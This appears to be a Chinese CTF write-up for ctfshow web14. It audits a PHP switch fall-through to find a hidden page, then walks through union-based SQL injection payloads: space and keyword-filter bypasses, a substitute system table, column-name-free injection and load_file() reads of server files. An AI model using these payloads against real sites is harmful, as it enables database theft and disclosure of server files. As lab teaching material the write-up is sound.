ctfshow web14

1.非常简单的代码审计

打开靶场,映入眼帘一段PHP代码

<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

switch...case...(break)语句想必大家很熟悉了,当GET方式提交c=3时,代码不会因为break跳出,而是会继续向下执行。尝试一下

 对应$url的位置跳出来一个.php文件,尝试访问,跳出一个查询界面

右键查看前端代码

过滤了   information_schema.tables   和   information_schema.columns   关键字,理应是SQL注入

 2.SQL注入

点击’确定‘用get方式提交一个query=1,xss弹窗出一个admin

更改query=2,弹窗一个gtf1y。

提交query=2-1,弹出admin

显而易见,为数字型注入,然后用order by语句判断列数(这里过滤了空格,我用  /**/  来替代)

query=1/**/order/**/by/**/2#   //不正常显示
query=1/**/order/**/by/**/1#   //正常显示

列数为1,union select语句爆库名

接下来有两种注入方法,先讲简单的一种

注入方法一:利用反引号绕过

只需要利用反引号写成  information_schema.`tables`  和  information_schema.`columns`  即可染过限制

如此一来只需要常规注入就行

query=0/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'#
//查出表名为'content'

query=0/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#
//查出列名为'id''username''password'

query=0/**/union/**/select/**/group_concat(id,'~',username,'~',password)/**/from/**/content#
//直接狠狠查到了

注入方法二:找平替表+无列名查询

网上百度一搜就有一大堆information_schema的平替表,由于mysql版本不同,可利用的表也不一样。挨个试一试总会有能用的。这里我用的就是  mysql.innodb_table_stats   

利用语句如下:

query=0/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()#

能用,爆出库名content

但是这个表的话,不能查列名,所以我们要利用,无列名注入

这里的具体原理我就不多赘述,提供一篇文章,写的简单易懂

无列名注入原理+实操

总之,利用这句SQL语句:select * from (select * from table as a join table as b) as c   让网页报错,报错内容就是我们想要的列名       

利用语句如下:

query=0/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/content/**/as/**/a/**/join/**/content/**/as/**/b)/**/as/**/c#

右键查看前端代码,或者抓包看响应数据包就可以看到爆出了一个'id'字段

查询语句中用   'using()'   添加爆出的字段名,继续查询:query=0/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/content/**/as/**/a/**/join/**/content/**/as/**/b/**/using(id))/**/as/**/c#

,可以爆出下一个字段'username',再添加using(id,username)  爆出最后一个字段'password',然后正常查就行了,结果如下:

提示我们flag不在这里,明显被摆了一道好吧,很不爽

3.找真正地flag文件

这里提到了secret,我们想到最开始审计代码时出现的语句:   include("secret.php");  

直接访问  xxx.challenge.ctf.show/secret.php  失败,那我们就用mysql中的load_file()函数读取secret.php文件

但实际上数据库路径和secret.php文件并不一样

通过  SELECT @@datadir;  可以查到 数据库数据目录路径为/var/lib/mysql/

而secret.php跟index.php在同一目录,应该是Linux默认网站目录/var/www/html/secret.php

尝试访问

query=0/**/union/**/select/**/load_file('/var/www/html/secret.php')#

查看前端代码,或者抓响应数据包,出现一段代码

提示我们真正地flag在/real_flag_is_here

直接查询    query=0/**/union/**/select/**/load_file('/real_flag_is_here')#

得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值